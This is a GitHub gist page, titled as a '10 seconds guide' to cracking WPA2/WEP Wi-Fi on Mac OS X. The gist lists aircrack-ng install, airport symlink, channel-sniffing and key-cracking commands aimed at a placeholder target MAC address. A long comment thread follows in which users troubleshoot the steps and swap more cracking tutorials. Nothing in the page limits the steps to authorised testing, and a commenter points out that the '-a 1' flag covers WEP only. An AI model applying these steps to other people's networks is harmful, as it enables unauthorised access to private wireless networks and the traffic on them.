Create a gist now

Instantly share code, notes, and snippets.

Embed
Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
//Install Macports.
//Install aircrack-ng:
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@jQrgen

This comment has been minimized.

Show comment
Hide comment
@jQrgen

jQrgen Jan 12, 2017

Change symling to:

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
ref: http://stackoverflow.com/questions/33223457/mac-osx-el-capitan-airport-sym-link-not-permitted

jQrgen commented Jan 12, 2017

Change symling to:

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
ref: http://stackoverflow.com/questions/33223457/mac-osx-el-capitan-airport-sym-link-not-permitted

@rafahigueros

This comment has been minimized.

Show comment
Hide comment
@rafahigueros

rafahigueros Jan 27, 2017

will this actually work with WPA networks? "-a 1" specifies for WEP, and WAP cracking requires dictionaries (-w option)

will this actually work with WPA networks? "-a 1" specifies for WEP, and WAP cracking requires dictionaries (-w option)

@qfq8wf77qwf8

This comment has been minimized.

Show comment
Hide comment
@qfq8wf77qwf8

qfq8wf77qwf8 Apr 2, 2017

What if you installed via brew?

What if you installed via brew?

@jwsi

This comment has been minimized.

Show comment
Hide comment
@jwsi

jwsi Apr 17, 2017

brew install aircrack-ng

jwsi commented Apr 17, 2017

brew install aircrack-ng

@immysam

This comment has been minimized.

Show comment
Hide comment
@immysam

immysam Jun 28, 2017

i didn't got access after step 10 i.e. 11 ,12 and 13 are not applicable
help me pls my mac is showing aircrack-ng command not found after step 12 aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]

immysam commented Jun 28, 2017

i didn't got access after step 10 i.e. 11 ,12 and 13 are not applicable
help me pls my mac is showing aircrack-ng command not found after step 12 aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]

@immysam

This comment has been minimized.

Show comment
Hide comment
@immysam

immysam Jun 28, 2017

help me pls anybody????

immysam commented Jun 28, 2017

help me pls anybody????

@ldelcampof

This comment has been minimized.

Show comment
Hide comment
@ldelcampof

ldelcampof Jul 15, 2017

this commands help me @immysam

export PATH=$PATH:/opt/local/bin
export MANPATH=$MANPATH:/opt/local/share/man
export INFOPATH=$INFOPATH:/opt/local/share/info

this commands help me @immysam

export PATH=$PATH:/opt/local/bin
export MANPATH=$MANPATH:/opt/local/share/man
export INFOPATH=$INFOPATH:/opt/local/share/info

@mfd

This comment has been minimized.

Show comment
Hide comment
@mfd

mfd Jul 25, 2017

@immysam check your network interface
$ networksetup listallhardwareports

mfd commented Jul 25, 2017

@immysam check your network interface
$ networksetup listallhardwareports

@sonu628

This comment has been minimized.

Show comment
Hide comment
@sonu628

sonu628 Jul 30, 2017

I am getting this
`
Attack failed. Possible reasons:

 * Out of luck: you must capture more IVs. Usually, 104-bit WEP
   can be cracked with about 80.000 IVs, sometimes more.

 * Try to raise the fudge factor (-f).

Please specify a dictionary (option -w).`

sonu628 commented Jul 30, 2017

I am getting this
`
Attack failed. Possible reasons:

 * Out of luck: you must capture more IVs. Usually, 104-bit WEP
   can be cracked with about 80.000 IVs, sometimes more.

 * Try to raise the fudge factor (-f).

Please specify a dictionary (option -w).`

@simplenotezy

This comment has been minimized.

Show comment
Hide comment
@simplenotezy

simplenotezy Oct 1, 2017

Running sudo airport en1 sniff 1 does not work. Simply displays the help message.

Running sudo airport en1 sniff 1 does not work. Simply displays the help message.

@unix-root

This comment has been minimized.

Show comment
Hide comment

^ +1

@Emixam23

This comment has been minimized.

Show comment
Hide comment
@Emixam23

Emixam23 Oct 17, 2017

Why does it display the commands? I'm not sure to understand

Why does it display the commands? I'm not sure to understand

@Emixam23

This comment has been minimized.

Show comment
Hide comment
@Emixam23

Emixam23 Oct 18, 2017

Guys maybe it's because de paramaters aren't correct?

Guys maybe it's because de paramaters aren't correct?

@Emixam23

This comment has been minimized.

Show comment
Hide comment
@Emixam23

Emixam23 Oct 18, 2017

So stupid, I found why it happens.

Based on [THIS LINK], it seems like en1 is the interface of Wireless only when you have an ethernet port. On my MacBook Pro, I don't, so en0 is the only one I have !

sudo airport en0 sniff [CHANNEL]

Hopefully it helps !

So stupid, I found why it happens.

Based on [THIS LINK], it seems like en1 is the interface of Wireless only when you have an ethernet port. On my MacBook Pro, I don't, so en0 is the only one I have !

sudo airport en0 sniff [CHANNEL]

Hopefully it helps !

@Gaaal

This comment has been minimized.

Show comment
Hide comment
@Gaaal

Gaaal Oct 21, 2017

How do I add a dictionary? Is Jack the Ripper good enough?

Gaaal commented Oct 21, 2017

How do I add a dictionary? Is Jack the Ripper good enough?

@cyberfunk

This comment has been minimized.

Show comment
Hide comment
@cyberfunk

cyberfunk Oct 21, 2017

Hello how do I sniff with airport and use aircrack-ng using an Alfa AWUS036AC USB 3.0 adapter on a MacBook Pro? When I type ifconfig in Terminal my USB wifi adapter doesn't show up.

Hello how do I sniff with airport and use aircrack-ng using an Alfa AWUS036AC USB 3.0 adapter on a MacBook Pro? When I type ifconfig in Terminal my USB wifi adapter doesn't show up.

@hanhmr

This comment has been minimized.

Show comment
Hide comment
@hanhmr

hanhmr Oct 30, 2017

Dear admin,

How to see CAP_FILE? I have try to understand noted: the cap_file will be located in the /tmp/airportSniff*.cap. but don't know how to see them, pls help!

Thanks a lot

(aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.

hanhmr commented Oct 30, 2017

Dear admin,

How to see CAP_FILE? I have try to understand noted: the cap_file will be located in the /tmp/airportSniff*.cap. but don't know how to see them, pls help!

Thanks a lot

(aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.

@VhaTer

This comment has been minimized.

Show comment
Hide comment
@VhaTer

VhaTer Dec 3, 2017

-i got a macbook air and guess i ask my self same thing how to do kali stuff natively on macos why im here

perhaps you already find this
1- http://jason4zhu.blogspot.fr/2014/12/crack-wep-wifi-via-aircrack-ng-in-mac-osx.html
2- https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html ( this article Link to your Notes Here ^^)

VhaTer commented Dec 3, 2017

-i got a macbook air and guess i ask my self same thing how to do kali stuff natively on macos why im here

perhaps you already find this
1- http://jason4zhu.blogspot.fr/2014/12/crack-wep-wifi-via-aircrack-ng-in-mac-osx.html
2- https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html ( this article Link to your Notes Here ^^)

@RahulDhiman93

This comment has been minimized.

Show comment
Hide comment
@RahulDhiman93

RahulDhiman93 Dec 14, 2017

symlink is not working
NO SUCH FILE OR DIRECTORY

RahulDhiman93 commented Dec 14, 2017

symlink is not working
NO SUCH FILE OR DIRECTORY

@psyycopatart

This comment has been minimized.

Show comment
Hide comment
@psyycopatart

psyycopatart Jan 7, 2018

It say : No valid WPA handshakes found.
What can i do ? :(

It say : No valid WPA handshakes found.
What can i do ? :(

@jpacora

This comment has been minimized.

Show comment
Hide comment
@jpacora

jpacora Jan 28, 2018

The command will be:

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

jpacora commented Jan 28, 2018

The command will be:

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

@MrPeker

This comment has been minimized.

Show comment
Hide comment
@MrPeker

MrPeker Feb 1, 2018

airport command not found :/

MrPeker commented Feb 1, 2018

airport command not found :/

@chezis45

This comment has been minimized.

Show comment
Hide comment
@chezis45

chezis45 Feb 9, 2018

sudo su -
ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

Worked for me when I got airport command not found and operation not possible.

chezis45 commented Feb 9, 2018

sudo su -
ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

Worked for me when I got airport command not found and operation not possible.

@weltmoasta

This comment has been minimized.

Show comment
Hide comment
@weltmoasta

weltmoasta Feb 19, 2018

i cant find the Cap_File because i have no folder like tmp. can anyone help me pls?

i cant find the Cap_File because i have no folder like tmp. can anyone help me pls?

@char543

This comment has been minimized.

Show comment
Hide comment
@char543

char543 Feb 21, 2018

@weltmoasta navigate to /tmp in finder

char543 commented Feb 21, 2018

@weltmoasta navigate to /tmp in finder

@char543

This comment has been minimized.

Show comment
Hide comment
@char543

char543 Feb 21, 2018

also make sure youre typing .cap and not .cap. (the extra dot is what threw me)

char543 commented Feb 21, 2018

also make sure youre typing .cap and not .cap. (the extra dot is what threw me)

@AramSemerjyan

This comment has been minimized.

Show comment
Hide comment
@AramSemerjyan

AramSemerjyan Mar 27, 2018

Mac has built in sniffer for getting handshakes, why airport is needed for that? Also I'm wondering is the aircrack mechanism based on getting handshakes and after try to recover password from hccapx with hashcat?

AramSemerjyan commented Mar 27, 2018

Mac has built in sniffer for getting handshakes, why airport is needed for that? Also I'm wondering is the aircrack mechanism based on getting handshakes and after try to recover password from hccapx with hashcat?

@iamsoorajsingh

This comment has been minimized.

Show comment
Hide comment
@iamsoorajsingh

iamsoorajsingh May 11, 2018

command not found

command not found

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment